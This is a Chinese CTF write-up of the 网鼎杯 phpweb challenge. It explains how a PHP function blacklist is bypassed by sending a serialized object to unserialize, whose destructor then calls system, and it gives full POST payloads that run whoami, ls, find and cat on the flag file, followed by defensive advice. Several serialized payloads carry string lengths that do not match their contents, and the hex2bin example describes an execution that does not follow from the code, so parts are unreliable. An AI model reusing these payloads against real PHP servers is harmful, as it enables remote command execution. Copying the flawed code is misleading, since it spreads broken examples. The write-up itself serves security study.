当前位置: 首页 > news >正文

PHP代码审计入门:从一道BUUCTF真题(网鼎杯phpweb)学黑名单绕过与反序列化利用

PHP代码审计实战:黑名单绕过与反序列化漏洞深度解析

在CTF竞赛中,PHP代码审计一直是Web安全方向的重要考点。这道来自网鼎杯朱雀组的phpweb题目,完美展示了黑名单过滤机制的缺陷与反序列化漏洞的结合利用。本文将带您从零开始,逐步拆解这道经典题目,掌握PHP安全审计的核心技巧。

1. 题目环境与初步探测

首先观察题目页面行为:每隔5秒自动刷新页面。通过Burp Suite抓包发现每次刷新会提交两个POST参数:

POST / HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded func=gettime&p=2021-04-23

初步猜测这是一个函数调用接口:

  • func参数指定要调用的函数名
  • p参数作为函数参数传递

测试常见危险函数时发现大部分被拦截:

# 测试命令执行 func=system&p=whoami # 返回"Hacker..." func=exec&p=ls # 同上 # 测试文件读取 func=file_get_contents&p=index.php # 成功获取源码

2. 源码审计与黑名单分析

获取到的index.php源码揭示了关键防御机制:

$disable_fun = array("exec","shell_exec","system","passthru",...); // 共35个禁用函数 function gettime($func, $p) { $result = call_user_func($func, $p); if (gettype($result) == "string") { return $result; } return ""; } // 关键Test类 class Test { var $p = "Y-m-d h:i:s a"; var $func = "date"; function __destruct() { if ($this->func != "") { echo gettime($this->func, $this->p); } } }

安全机制分析:

防御层实现方式限制条件
函数黑名单in_array($func,$disable_fun)禁用35个危险函数
返回值限制gettype($result) == "string"只允许返回字符串类型
大小写过滤strtolower($func)防止大小写绕过

3. 黑名单绕过技术剖析

3.1 直接绕过尝试

首先检查黑名单遗漏的函数:

// 测试未被禁用的危险函数 func=passthru&p=whoami # 被拦截 func=pcntl_exec&p=/bin/sh # 被拦截 func=create_function&p=return system("whoami"); # 返回空(不符合字符串类型)

3.2 反序列化漏洞发现

关键突破点在于Test类的设计:

class Test { var $p; var $func; function __destruct() { echo gettime($this->func, $this->p); } }

利用链构造思路:

  1. 通过unserialize触发对象反序列化
  2. 反序列化后的对象在销毁时自动调用__destruct
  3. __destruct中调用gettime执行任意函数

3.3 完整利用链构建

分步构造Payload:

  1. 创建恶意Test对象:
class Test { var $func = "system"; var $p = "whoami"; } echo serialize(new Test()); // 输出:O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:6:"whoami";}
  1. 通过原始接口触发:
POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:6:"whoami";}

绕过原理对比:

调用方式过滤检查是否绕过
直接调用system检查func在黑名单中×
通过反序列化调用只检查unserialize不在黑名单

4. 漏洞利用实战演示

4.1 基础命令执行

POST / HTTP/1.1 func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:8:"ls -lha";}

4.2 多命令串联执行

$payload = new Test(); $payload->func = "system"; $payload->p = "whoami; pwd; find / -name '*flag*'"; echo serialize($payload);

4.3 文件系统探测

POST / HTTP/1.1 func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:22:"find / -type f -name flag*";}

4.4 最终flag获取

POST / HTTP/1.1 func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:19:"cat /tmp/flagoefiu4r93";}

5. 防御方案与最佳实践

5.1 黑名单机制的改进

原始黑名单的不足:

  • 依赖枚举危险函数(永远不全)
  • 未考虑动态调用链
  • 忽略反序列化入口

改进方案:

// 白名单替代黑名单 $allowed_func = ['date', 'strtotime', 'gettime']; // 增加反序列化过滤 if ($func === 'unserialize') { $p = unserialize($p, ['allowed_classes' => []]); }

5.2 安全开发建议

  1. 输入验证原则

    • 优先使用白名单而非黑名单
    • 对动态函数调用进行严格限制
    • 禁用不必要的危险函数(php.ini中disable_functions)
  2. 反序列化防护

// 禁用对象反序列化 ini_set('unserialize_callback_func', ''); unserialize($data, ['allowed_classes' => false]); // 或仅允许特定类 unserialize($data, ['allowed_classes' => ['SafeClass']]);
  1. 日志监控建议
# 监控可疑函数调用 grep -r "call_user_func" /var/log/apache2/ grep -r "unserialize" /var/log/nginx/

6. 同类漏洞模式扩展

6.1 常见触发场景

漏洞类型典型代码模式案例
动态函数调用$func($_GET['param'])CVE-2021-21345
反序列化+魔术方法__destruct()调用危险方法ThinkPHP RCE
回调函数滥用array_map($callback, $data)WordPress插件漏洞

6.2 CTF中的变种考察

  1. 黑名单扩展绕过
// 过滤了system但未过滤反引号 `$_GET['cmd']`
  1. 二次编码绕过
// 原始输入 func=hex2bin&p=73697374656d // 实际执行 system('whoami')
  1. PHP特性利用
// 通过字符串拼接绕过 $func = 'sys'.'tem'; $func('whoami');

在真实项目代码审计时,建议建立以下检查清单:

  1. 查找所有call_user_func/call_user_func_array调用点
  2. 检查unserialize参数是否可控
  3. 审核所有魔术方法(__destruct__wakeup等)
  4. 验证动态函数调用($var()语法)
  5. 检查可能存在回调的函数(array_filterusort等)
http://www.rkmt.cn/news/1474878.html

相关文章:

  • 从智能手表到扫地机器人:一文讲透嵌入式开发的四大岗位与真实工作日常
  • 告别手动点点点:用AutoJS写个自动刷视频脚本,解放你的双手(附完整代码)
  • 2026西安黄金回收怕扣损耗压成色?拿这四个标准去套?只有这几家绝不套路 - 西安闲转记
  • 华为旧闻解析:从现金流与供应链看企业战略决策的底层逻辑
  • CSDN AI引流卡片到底能不能放个人微信?:2024年Q2平台审核日志实录+7类被限流账号的共性特征分析
  • 告别KD树搜索!用Voxelized GICP在ROS中实现120Hz的激光雷达实时里程计
  • JDWP Shellifier 深度解析:Java 调试协议的安全攻防实战指南
  • 2026广州黄金收金扒底测评|连锁金行 vs 小众作坊,哪家变现不亏秤? - 奢侈品回收评测
  • FPGA DDS设计:MATLAB生成MIF文件与Quartus II集成的避坑指南
  • Fillinger智能填充:如何用Illustrator脚本插件实现20倍设计效率提升
  • 3分钟找回十年青春记忆:GetQzonehistory完整导出QQ空间说说终极指南
  • 抖音批量下载工具终极指南:3步实现无水印视频高效获取
  • 上海品牌首饰回收服务指南:六家正规平台详细对比(2026年6月) - 薛定谔的梨花猫
  • MATLAB生成Quartus MIF文件:FPGA查找表数据初始化完整指南
  • Claude工程化AI系统:宪法对齐、MoE调度与企业级RAG实战解析
  • 保姆级教程:在群晖DSM 7上安装并配置MariaDB 10,开启远程访问
  • 重庆有赞服务商推荐 - 速递信息
  • Hitboxer:告别键盘冲突,让游戏操作更精准的智能按键映射工具
  • 010、Claude Code 架构概览:Agent SDK、Tool System、MCP Server 生态全景
  • 2026年 上海建筑垃圾清运/小区垃圾清运/工地渣土清运/装修垃圾清运推荐榜单:高效合规与环保服务口碑之选 - 品牌企业推荐师(官方)
  • 2026年6月上海黄金回收指南:筛选正规回收门店,收的顶凭高价透明领跑行业 - 奢侈品回收评测
  • 深度解析SpeechScore:如何构建16维语音质量评估的统一架构
  • Keyboard Chatter Blocker:3分钟彻底解决机械键盘连击问题的免费神器
  • 成都手表高价回收哪家强?五家门店对比分析 - 开心测评
  • 从Notebook到Production:机器学习模型生产化落地全链路
  • 避坑指南:StaMPS 4.1安装后`stamps --version`报错?可能是这些环境变量和MATLAB路径没设对
  • 3分钟掌握Silk V3音频解码:微信QQ语音转MP3完整教程
  • 如何免费加速网盘下载:8大主流平台直链获取终极指南
  • 2026年 水解剂/抗水解剂厂家推荐榜单:聚氨酯/TPU/PC/PET耐水解剂及抗水解母粒优质品牌深度解析 - 品牌企业推荐师(官方)
  • 国家中小学智慧教育平台电子课本下载工具:如何轻松获取PDF教材的完整指南